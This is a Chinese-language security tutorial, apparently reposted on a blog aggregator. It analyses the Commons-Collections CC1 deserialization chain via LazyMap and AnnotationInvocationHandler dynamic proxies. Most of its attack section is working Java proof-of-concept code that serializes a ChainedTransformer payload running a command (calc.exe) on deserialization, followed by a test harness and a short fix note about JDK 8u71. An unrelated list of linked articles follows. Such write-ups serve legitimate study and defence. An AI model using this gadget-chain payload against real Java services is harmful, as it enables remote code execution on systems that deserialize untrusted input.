CC1链补充-LazyMap

news2024/10/6 2:25:12

前言

在我们上一篇中详细分析了CC1链,但是在CC1链中还有一条链就是LazyMap类

1.安装和CC1核心

环境安装的详情可以见上篇CC1分析的第二部分,环境搭建部分
两条不同的路线其实第一步核心都是相同的,执行类都是Tansformer接口和实现类,详情可见上篇CC1分析的第三部分

Commons-Collections篇-CC1链小白基础分析学习

2.(Gadget)寻找哪些调用了执行类

在上一篇中调用链找的是TransformedMap,但是本篇也是在这里重新出发,找的是LazyMap方法
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们可以看到LazyMap也是能够进行序列化,满足我们调用链的寻找要求
在get方法中首先就要进行一个if判断,判断成功才会执行transform方法
if (map.containsKey(key) == false)

在这里插入图片描述
containsKey方法根据描述来说用于检查一个特定的键 key 是否不存在于 map 这个映射(或称为字典、哈希表)中,如果存在的话就返回true
所以想要满足这个if语句,我们需要传入一个map数组中不存在的key键名称即可

在这里插入图片描述
查看LazyMap方法,可以看到factory我们是可以控制的,但是直接调用该方法是受到保护的,继续寻找,发现有一个公开的静态decorate方法,返回了一个LazyMap实例

在这里插入图片描述
所以我们构造一个poc,传入的是我们之前分析的执行类InvokerTransformer

public class test {
    public static void main(String[] args) throws Exception {
        InvokerTransformer test = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"C:\\windows\\system32\\calc.exe"}
        );
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,test);
        Lazy.get(Runtime.getRuntime());

    }
}

在这里插入图片描述

3.(Source) 寻找入口类

我们已经找到LazyMap类中的get方法能够调用咱们分析的执行类,所以我们接下来寻找并分析入口类

和之前的CC1分析类似,也是找到了AnnotationInvocationHandler这个类,但是方法不一样,上一篇是分析了readObject方法,这一次是invoke方法
在这里插入图片描述
在这里插入图片描述
既然找到这个方法,确认为入口点,怎么来进行触发呢?他和readObject类似,当进行反序列化时就会自动调用readObject

当进行动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法

所以我们只需要创建一个使用AnnotationInvocationHandler作为处理器的代理对象动态代理,并无参调用该代理对象中的方法即可

正好在readObject中可控的memberValues调用了entrySet方法,恰好是个无参方法
在这里插入图片描述
在这里调用了entrySet()方法也就是说,如果我们将 memberValues 的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用

第一步,我们先通过反射得到AnnotationInvocationHandler类的构造方法,设置可以访问,并将Override.class, Lazy传入构造器,创建一个实例invocationHandler

Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);
aDe.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);

用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象proxyMap,并动态代理前面的invocationHandler方法

Map proxyMap = (Map)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);

根据代理对象proxyMap重新创建了一个实例

invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);

所以整体的一个思路为反序列化后readobject自动触发代理类的无参方法进入代理的处理类invoke,走LazyMap的get方法

4.POC编写

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"C:\\windows\\system32\\calc.exe"}
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map,chainedTransformer);

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);
        aDe.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);

        Map proxyMap = (Map)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
        invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);

        serializable(invocationHandler);
//        unserializable();
    }

        private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
            FileInputStream fis = new FileInputStream("obj1");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Object o = ois.readObject();
            return o;
        }
    private static void serializable(Object o) throws IOException, ClassNotFoundException {
        FileOutputStream fos = new FileOutputStream("obj1");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();
    }

我们在序列化到文件之后,进行反序列化poc测试

public class CC {
    public static void main(String[] args) throws Exception {
        //命令执行代码
        unserializable();

    }

    private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj1");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

}

在这里插入图片描述

5. 修复

官方推荐是将jdk版本升级到jdk8u71

在8u71版本之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。

这是jdk17.0.9的sun.reflect.annotation.AnnotationInvocationHandler#readObject的readObject方法
第593行新建了一个名为mv的LinkedHashMap,然后mv的数据在第597行开始通过for循环里面的逻辑给mv添加值,所有的操作都是基于这个新建的LinkedHashMap操作的,所以至此利用链就断开了,无法按照我们的预期进行。
在这里插入图片描述

6.总结

整体的调用链大概是这个样子:

  • InvokeTransformer#transform
    • LazyMap#get
      • AnnotationInvocationHandler#readObject

在调试和运行中,发现调试中会多次弹出计算器,而运行只会在反序列化中触碰

在调试模式下,由于IDE的行为(例如在断点处重新加载类或对象)可能导致AnnotationInvocationHandler的invoke方法被多次调用,从而意外地触发了Transformer链中的操作,导致计算器被启动。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1705003.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

操作系统 - 进程与线程

进程与线程 考纲内容 进程与线程 进程与线程的基本概念;进程/线程的状态与转换 线程的实现;内核支持的线程,线程库支持的线程 进程与线程的组织与控制 进程间通信;共享内存,消息传递,管道CPU调度与上下文…

VectorDBBench在windows的调试

VectorDBBench在windows的调试 VectorDBBench是一款向量数据库基准测试工具,支持milvus、Zilliz Cloud、Elastic Search、Qdrant Cloud、Weaviate Cloud 、 PgVector、PgVectorRS等,可以测试其QPS、时延、recall。 VectorDBBench是一款使用python编写的…

计算机毕业设计hadoop+spark+hive知识图谱音乐推荐系统 音乐数据分析可视化大屏 音乐爬虫 LSTM情感分析 大数据毕设 深度学习 机器学习

青岛理工大学(临沂)机械与电子工程系 毕业设计外文翻译 独立于语言的个性化音乐 推荐系统 Personalized Language-Independent Music Recommendation System 设计题目:基于python的音乐推荐系统的分析可视化设计 …

如何连接远程?

在现代信息技术的发展过程中,不同地区之间的远程连接变得日益重要。为了满足不同地区的电脑、设备之间的信息远程通信需求,北京金万维科技有限公司自主研发的【天联】组网产品应运而生。【天联】是一款异地组网内网穿透产品,可以在任何网络环…

C语言 数组——排序算法的函数实现

目录 交换法排序 用交换法对成绩数组升序排序 选择法排序 冒泡法排序 归并法排序 交换法排序 用交换法对成绩数组升序排序 选择法排序 冒泡法排序 归并法排序

数据结构(四)双向链表

文章目录 一、概念二、无头双向链表示意图三、操作(一)定义结构体(二)创建链表1. 函数定义2. 注意点3. 代码实现 (三)插入1. 函数定义2. 注意点3. 代码实现 (四)删除1. 函数定义2. 注…

【Python】 如何在Python中设置环境变量?

基本原理 在Python中,环境变量是一种存储系统或应用程序配置信息的方式,它们可以被操作系统或应用程序访问。环境变量通常用于配置应用程序的行为,例如指定数据库的连接字符串、API密钥、文件路径等。 Python提供了几种方法来设置和访问环境…

最后两天!百度云加速正式停服

百度云加速将于5月30日,正式关闭服务器,仅保留官网首页通知。 届时如网站还在百度云加速接入的,将无法正常访问! 如果您还有域名在百度云加速接入的请尽快做迁移安排,以免造成损失。 目前在主机吧购买的域名已经全部…

Flink本地idea运行环境配置webui

Flink本地idea运行环境配置webui 1.添加依赖 <dependency><groupId>org.apache.flink</groupId><artifactId>flink-runtime-web_2.11</artifactId><version>1.13.6</version><scope>provided</scope></dependency&g…

柳宗元,政治坎坷与文学辉煌的交织

&#x1f4a1; 如果想阅读最新的文章&#xff0c;或者有技术问题需要交流和沟通&#xff0c;可搜索并关注微信公众号“希望睿智”。 柳宗元&#xff0c;字子厚&#xff0c;生于唐代宗大历年间&#xff08;公元773年&#xff09;&#xff0c;卒于唐宪宗元和年间&#xff08;公元…

产品公告 | MemFire Cloud认证服务支持微信扫码登录

前言 为了满足国内用户日益增长的操作习惯需求&#xff0c;并进一步提升用户体验&#xff0c;MemFire Cloud认证服务已集成微信扫码登录功能。微信&#xff0c;作为国内广受欢迎的社交平台&#xff0c;其扫码登录功能以其便捷性和快速性赢得了广大用户的青睐。现在&#xff0c…

了不起的学习生产板OrangePiAiPro

一. OrangePi AiPro介绍和初始化配置 介绍 香橙派 orangePiAIpro这个板子其实早在一年前就已经有了大面积推广且应用于各种真实的智能场景中了&#xff0c;比如图像识别&#xff0c;大文本语义解析&#xff0c;语音识别等&#xff0c;今日我也终于下手啦。 因为本人本科是一个嵌…

【C++练级之路】【Lv.22】C++11——右值引用和移动语义

快乐的流畅&#xff1a;个人主页 个人专栏&#xff1a;《算法神殿》《数据结构世界》《进击的C》 远方有一堆篝火&#xff0c;在为久候之人燃烧&#xff01; 文章目录 引言一、右值引用1.1 左值和右值1.2 左值引用和右值引用的范围1.3 左值引用的意义 二、移动语义2.1 移动构造…

感觉是通俗易懂的大模型入门(一)

最近人工智能非常火爆,大家可能经常听到AI、深度学习、大语言模型等名词。但真正能够将它们拆开来细致讲解的内容并不多。我大学就是学这个的,毕业后一直从事这个领域的工作。所以我打算今年陆续做一些这方面的科普,也借此机会复习巩固一下自己的知识体系。 今天就算是第一期,…

C语言之指针详解(5)(含有易错笔试题)

文章目录 一、sizeof和strlen的对比1.1 sizeof1.2 strlen1.3 sizeof 和 strlen 的对比 二、数组和指针笔试题2.1 一维数组2.2 字符数组2.3 二维数组 三、指针运算笔试题3.1 题目13.2 题目23.3 题目33.4 题目43.5 题目53.6 题目63.7 题目7 一、sizeof和strlen的对比 有一个很神…

操作系统 - 输入/输出(I/O)管理

输入/输出(I/O)管理 考纲内容 I/O管理基础 设备&#xff1a;设备的基本概念&#xff0c;设备的分类&#xff0c;I/O接口 I/O控制方式&#xff1a;轮询方式&#xff0c;中断方式&#xff0c;DMA方式 I/O软件层次结构&#xff1a;中断处理程序&#xff0c;驱动程序&#xff0c;…

汇编:比较跳转

在16位汇编语言&#xff08;如x86汇编&#xff09;中&#xff0c;比较指令用于比较两个操作数的大小&#xff0c;通常用于条件跳转、循环控制等逻辑操作&#xff0c;比较指令&#xff08;如CMP&#xff09;会根据操作数的比较结果设置标志寄存器中的相关标志位 比较指令影响的…

KAN(Kolmogorov-Arnold Network)的理解 2

系列文章目录 第一部分 KAN的理解——数学背景 第二部分 KAN的理解——网络结构 文章目录 系列文章目录前言KAN网络结构&#xff1a;Kolmogorov-Arnold Network 前言 这里记录我对于KAN的探索过程&#xff0c;每次会尝试理解解释一部分问题。欢迎大家和我一起讨论。 KAN tuto…

Spring Boot集成六大常用中间件,附集成源码,亲测有效

目录 万字论文&#xff0c;从0到1&#xff0c;只需1小时获取途径1、Spring Boot如何集成Spring Data JPA&#xff1f;2、Spring Boot如何集成Spring Security&#xff1f;3、Spring Boot如何集成Redis&#xff1f;4、Spring Boot如何集成RabbitMQ&#xff1f;5、Spring Boot如何…

Dream

好像很多人梦寐以求的都是别人已经拥有的&#xff0c;多少人奋斗一生的目标&#xff0c;却只是别人的起点&#xff0c;人生而自由&#xff0c;只是不在枷锁之中&#xff0c;生活中没有人不遗憾&#xff0c;只是没有人喊疼&#xff0c;时间不会重来&#xff0c;已经过去了就让它…